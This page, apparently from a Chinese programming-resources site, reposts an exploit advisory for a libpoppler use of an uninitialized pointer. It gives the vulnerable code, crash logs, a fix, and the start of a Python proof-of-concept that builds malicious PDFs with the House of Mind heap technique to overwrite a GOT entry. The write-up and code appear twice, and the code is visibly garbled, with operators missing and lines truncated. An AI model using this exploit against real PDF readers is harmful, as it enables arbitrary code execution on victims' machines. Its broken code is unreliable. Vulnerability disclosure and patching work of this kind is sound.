您现在的位置是:网站首页> 编程资料编程资料
Poppler _Exploit_网络安全_
2023-05-24
247人已围观
简介 Poppler _Exploit_网络安全_
##########################################################################
#### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar ####
#### updates in http://felipe.andres.manzano.googlepages.com/home ####
##########################################################################
'''
Sumary:
=======
The libpoppler pdf rendering library, can free uninitialized pointers,
leading to arbitrary code execution. This vulnerability results from
memory management bugs in the Page class constructor/destructor.
Technical Description - Exploit/Concept Code:
=============================================
Tests were performed using libpoppler util pdftotext taken from
git://git.freedesktop.org/git/poppler/poppler.
Other version where tried succesfully (the ones shiped with
debian/gentoo).
In the initialization of a Page object and under certain conditions a
member object skips initialization, but then is eventualy deleted. This
can be conducted to the situation in which an arbitrary pointer is
passed to the libc free and so the it gets apropiate for the malloc
maleficarum to enter the scene.
Look at the Page class constructor on Page.cc:231. First at the begining
of the function the member object pageWidgets isnt initialized then it
tries to check if the type of the annotations proposed on the pdf file
ar correct; if not it bails out to the label err2. Note that is some
incorcondance on the type of the anotation arise the member variable
pageWidgets is never initialized!
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
[...]
// annotations
pageDict->lookupNF("Annots", &annots);
if (!(annots.isRef() || annots.isArray() || annots.isNull())) {
error(-1, "Page annotations object (page %d) is wrong type (%s)",
num, annots.getTypeName());
annots.free();
goto err2;
}
// forms
pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);
tmp.free();
[...]
err2:
annots.initNull();
err1:
contents.initNull();
ok = gFalse;
}
But in the Page class destructor, Page.cc:309, pageWidgets is deleted
without any consideration. The Page destructor is inmediatelly called
after the erroneous Page construction.
Page::~Page() {
delete pageWidgets;
delete attrs;
annots.free();
contents.free();
}
It is worth mentioning that the pdf rendering scenario is friendly with
the heap massage technics because you will find lots of ways to allocate
or allocate/free memory in the already probided functionality. In the
POC I have used repetidely the 'name' of the fields of a pdf dictionary
to allocate memory. Each name allocates up to 127bytes and apparently
there is no limit in the number of fields.
The following excerpt is a sample verification of the existence of
the problem :
localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf
localhost expl-poppler # pdftotext test.pdf
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
Error: Page count in top-level pages object is incorrect
Error: Couldnt read page catalog
Trace/breakpoint trap
:)
Further research should be done to accomodate the heap for other applications like evince:
localhost expl-poppler # evince test.pdf
(evince:8912): GnomeUI-WARNING **: While connecting to session manager:
Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.
** (evince:8912): WARNING **: Service registration failed.
** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
*** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 ***
Note that 0x08100468 is still a provided pointer. But in this try some
malloc structure like _heap_info (see. house of mind) is not correctly
aligned any more. Maybe evince-thumbnailer which is (probably
monothreaded) is an easier target.
Patch
=====
diff --git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee..72a706b 100644
--- a/poppler/Page.cc
b/poppler/Page.cc
@@ -230,7 230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) {
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
-
pageWidgets = NULL; //Security fix
ok = gTrue;
xref = xrefA;
num = numA;
POC:
===
Written in pyploit. It can be used 2 ways , one selecting a preconfigured
target like *gentoo-pdftotext* or the other in which you could pass some
malloc/free execution trace moddifing parameters.
'''
import struct
import struct
import math
import os
import sys
## print "%.400f"%d wont work :( ... so a quick double printing class
class Doubles:
def __init__(self, precision=400):
self.precision=precision
def pdficateint(self,i1,i2):
s = struct.pack("@L",i1) struct.pack("@L",i2)
return self.pdficatestr(s)
def pdficate(self,s):
rslt = " "
for pos in range (0,len(s)/8):
rslt =self.pdficatestr(s[(pos*8):(pos*8) 8]) " "
return rslt;
def pdficatestr(self, s):
d = struct.unpack("d",s)[0]
rslt=" "
if(d<0.0):
rslt ="-"
d=-d
rslt ="%d."%int(math.floor(d))
myd=math.floor(d)
scale=0.1
nines=0
for p in range(1,self.precision):
for i in range(1,10):
if (myd scale*i) > d:
i-=1
break
if i==9:
if nines>6:
return rslt
else:
nines =1
else:
nines=0
rslt =("d"%i)[1]
myd =scale* i
scale=scale*0.1
return rslt
##From Malloc maleficarum
##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
class HouseOfMind:
HEAP_MAX_SIZE=(1024*1024)
JMP='\xeb'
NOP='\x90'
PAD='\x00'
PREV_INUSE=0x1
IS_MMAPPED=0x2
NON_MAIN_ARENA=0x4
def __init__(self, base, where, payload, entrypoint):
self.base=base
self.where=where-0xc
self.heap_info = (base self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1)
self.payload=payload
self.entrypoint=entrypoint
self.chunkaddress=0
if (self.entrypoint > 0xff - 8):
throw
## lendian, 32bit only
## See The Malloc Maleficarum / House of Mind
def mind(self):
rslt = ""
#first we add padding to reach the next Heap border
rslt =self.PAD*(self.heap_info-self.base)
#now we add a _heap_info pinting to a malloc_state of our own
#and dictating a generous size for this *heap*
##arena.c:59 //struct _heap_info
rslt = struct.pack(" rslt = struct.pack(" rslt = struct.pack(" rslt = struct.pack(" #here arena.c suggest some padding. We just don't do it.
#now we add the malloc_state of our own
##malloc.c:2317 //struct malloc_state
rslt = struct.pack(" unlocked.
rslt = struct.pack(" # condition on malloc.c:@@@@@
#Note: We assume not Thread's stats#
rslt = struct.pack(" rslt = struct.pack(" #We need it to be different to our chunk pointer for
#passing condition on malloc.c:@@@@, 0 is safe enough
rslt = struct.pack("
#Here it come the bins
##The first one is the Unsorted bin!
##Free will write the *chunk* to the containing address 0xc; so it
##shout point to the GOT pointer to 'overload' -0xc
rslt = struct.pack("
rslt = struct.pack(" rslt = struct.pack("
rslt = struct.pack("
##Memory allocated from the system in this arena.
rslt = struct.pack(" #condition on malloc:@@@@
rslt = struct.pack("
#needed for chunk aligment
rslt = self.PAD*4
#CHUNKS
# An allocated chunk looks like this:
#
# chunk-> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# | Size of previous chunk, if allocated | |
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# |
#### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar ####
#### updates in http://felipe.andres.manzano.googlepages.com/home ####
##########################################################################
'''
Sumary:
=======
The libpoppler pdf rendering library, can free uninitialized pointers,
leading to arbitrary code execution. This vulnerability results from
memory management bugs in the Page class constructor/destructor.
Technical Description - Exploit/Concept Code:
=============================================
Tests were performed using libpoppler util pdftotext taken from
git://git.freedesktop.org/git/poppler/poppler.
Other version where tried succesfully (the ones shiped with
debian/gentoo).
In the initialization of a Page object and under certain conditions a
member object skips initialization, but then is eventualy deleted. This
can be conducted to the situation in which an arbitrary pointer is
passed to the libc free and so the it gets apropiate for the malloc
maleficarum to enter the scene.
Look at the Page class constructor on Page.cc:231. First at the begining
of the function the member object pageWidgets isnt initialized then it
tries to check if the type of the annotations proposed on the pdf file
ar correct; if not it bails out to the label err2. Note that is some
incorcondance on the type of the anotation arise the member variable
pageWidgets is never initialized!
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
[...]
// annotations
pageDict->lookupNF("Annots", &annots);
if (!(annots.isRef() || annots.isArray() || annots.isNull())) {
error(-1, "Page annotations object (page %d) is wrong type (%s)",
num, annots.getTypeName());
annots.free();
goto err2;
}
// forms
pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);
tmp.free();
[...]
err2:
annots.initNull();
err1:
contents.initNull();
ok = gFalse;
}
But in the Page class destructor, Page.cc:309, pageWidgets is deleted
without any consideration. The Page destructor is inmediatelly called
after the erroneous Page construction.
Page::~Page() {
delete pageWidgets;
delete attrs;
annots.free();
contents.free();
}
It is worth mentioning that the pdf rendering scenario is friendly with
the heap massage technics because you will find lots of ways to allocate
or allocate/free memory in the already probided functionality. In the
POC I have used repetidely the 'name' of the fields of a pdf dictionary
to allocate memory. Each name allocates up to 127bytes and apparently
there is no limit in the number of fields.
The following excerpt is a sample verification of the existence of
the problem :
localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf
localhost expl-poppler # pdftotext test.pdf
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
Error: Page count in top-level pages object is incorrect
Error: Couldnt read page catalog
Trace/breakpoint trap
:)
Further research should be done to accomodate the heap for other applications like evince:
localhost expl-poppler # evince test.pdf
(evince:8912): GnomeUI-WARNING **: While connecting to session manager:
Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.
** (evince:8912): WARNING **: Service registration failed.
** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
*** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 ***
Note that 0x08100468 is still a provided pointer. But in this try some
malloc structure like _heap_info (see. house of mind) is not correctly
aligned any more. Maybe evince-thumbnailer which is (probably
monothreaded) is an easier target.
Patch
=====
diff --git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee..72a706b 100644
--- a/poppler/Page.cc
b/poppler/Page.cc
@@ -230,7 230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) {
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
-
pageWidgets = NULL; //Security fix
ok = gTrue;
xref = xrefA;
num = numA;
POC:
===
Written in pyploit. It can be used 2 ways , one selecting a preconfigured
target like *gentoo-pdftotext* or the other in which you could pass some
malloc/free execution trace moddifing parameters.
'''
import struct
import struct
import math
import os
import sys
## print "%.400f"%d wont work :( ... so a quick double printing class
class Doubles:
def __init__(self, precision=400):
self.precision=precision
def pdficateint(self,i1,i2):
s = struct.pack("@L",i1) struct.pack("@L",i2)
return self.pdficatestr(s)
def pdficate(self,s):
rslt = " "
for pos in range (0,len(s)/8):
rslt =self.pdficatestr(s[(pos*8):(pos*8) 8]) " "
return rslt;
def pdficatestr(self, s):
d = struct.unpack("d",s)[0]
rslt=" "
if(d<0.0):
rslt ="-"
d=-d
rslt ="%d."%int(math.floor(d))
myd=math.floor(d)
scale=0.1
nines=0
for p in range(1,self.precision):
for i in range(1,10):
if (myd scale*i) > d:
i-=1
break
if i==9:
if nines>6:
return rslt
else:
nines =1
else:
nines=0
rslt =("d"%i)[1]
myd =scale* i
scale=scale*0.1
return rslt
##From Malloc maleficarum
##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
class HouseOfMind:
HEAP_MAX_SIZE=(1024*1024)
JMP='\xeb'
NOP='\x90'
PAD='\x00'
PREV_INUSE=0x1
IS_MMAPPED=0x2
NON_MAIN_ARENA=0x4
def __init__(self, base, where, payload, entrypoint):
self.base=base
self.where=where-0xc
self.heap_info = (base self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1)
self.payload=payload
self.entrypoint=entrypoint
self.chunkaddress=0
if (self.entrypoint > 0xff - 8):
throw
## lendian, 32bit only
## See The Malloc Maleficarum / House of Mind
def mind(self):
rslt = ""
#first we add padding to reach the next Heap border
rslt =self.PAD*(self.heap_info-self.base)
#now we add a _heap_info pinting to a malloc_state of our own
#and dictating a generous size for this *heap*
##arena.c:59 //struct _heap_info
rslt = struct.pack("
#now we add the malloc_state of our own
##malloc.c:2317 //struct malloc_state
rslt = struct.pack("
rslt = struct.pack("
#Note: We assume not Thread's stats#
rslt = struct.pack("
#passing condition on malloc.c:@@@@, 0 is safe enough
rslt = struct.pack("
#Here it come the bins
##The first one is the Unsorted bin!
##Free will write the *chunk* to the containing address 0xc; so it
##shout point to the GOT pointer to 'overload' -0xc
rslt = struct.pack("
rslt = struct.pack("
rslt = struct.pack("
##Memory allocated from the system in this arena.
rslt = struct.pack("
rslt = struct.pack("
#needed for chunk aligment
rslt = self.PAD*4
#CHUNKS
# An allocated chunk looks like this:
#
# chunk-> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# | Size of previous chunk, if allocated | |
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# |
相关内容
- Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit _Exploit_网络安全_
- Adobe Acrobat 9 ActiveX Remote Denial of Service Exploit _Exploit_网络安全_
- minb 0.1.0 Remote Code Execution Exploit _Exploit_网络安全_
- Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC _Exploit_网络安全_
- Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit _Exploit_网络安全_
- phsBlog 0.2 Bypass SQL Injection Filtering Exploit _Exploit_网络安全_
- Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit _Exploit_网络安全_
- Maian Cart 1.1 Insecure Cookie Handling Vulnerability _Exploit_网络安全_
- Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability _Exploit_网络安全_
- Maian Gallery 2.0 Insecure Cookie Handling Vulnerability _Exploit_网络安全_
